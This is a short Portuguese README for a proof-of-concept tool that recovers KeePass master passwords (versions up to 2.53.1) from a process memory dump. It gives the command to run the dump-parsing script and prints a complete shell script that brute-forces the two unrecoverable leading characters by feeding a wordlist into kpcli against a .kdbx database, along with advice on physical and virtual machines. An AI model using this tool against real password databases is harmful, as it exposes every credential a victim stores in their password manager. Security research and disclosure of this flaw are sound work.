
Recupere a senha mestra de um banco de dados keepass <= 2.53.1
python3 poc.py <PathToDmp>

Como lembrete, o primeiro caractere não pode ser encontrado no dump, e para o segundo o script fornecerá apenas algumas possibilidades; em qualquer caso, recomendamos que você execute o bruteforce em 2 caracteres com o script abaixo
#!/bin/sh
# Usage: ./keepass-pwn.sh Database.kdbx wordlist.txt (wordlist with 2 char)
while read i
do
echo "Using password: \"$i\""
echo "$i" | kpcli --kdb=$1 && exit 0
done < $2
Este script funciona muito bem no caso de uma máquina física; para máquinas virtuais, parece não ser estável
A propósito: o script python presente neste projeto segue a leitura do seguinte projeto: https://github.com/vdohney/keepass-password-dumper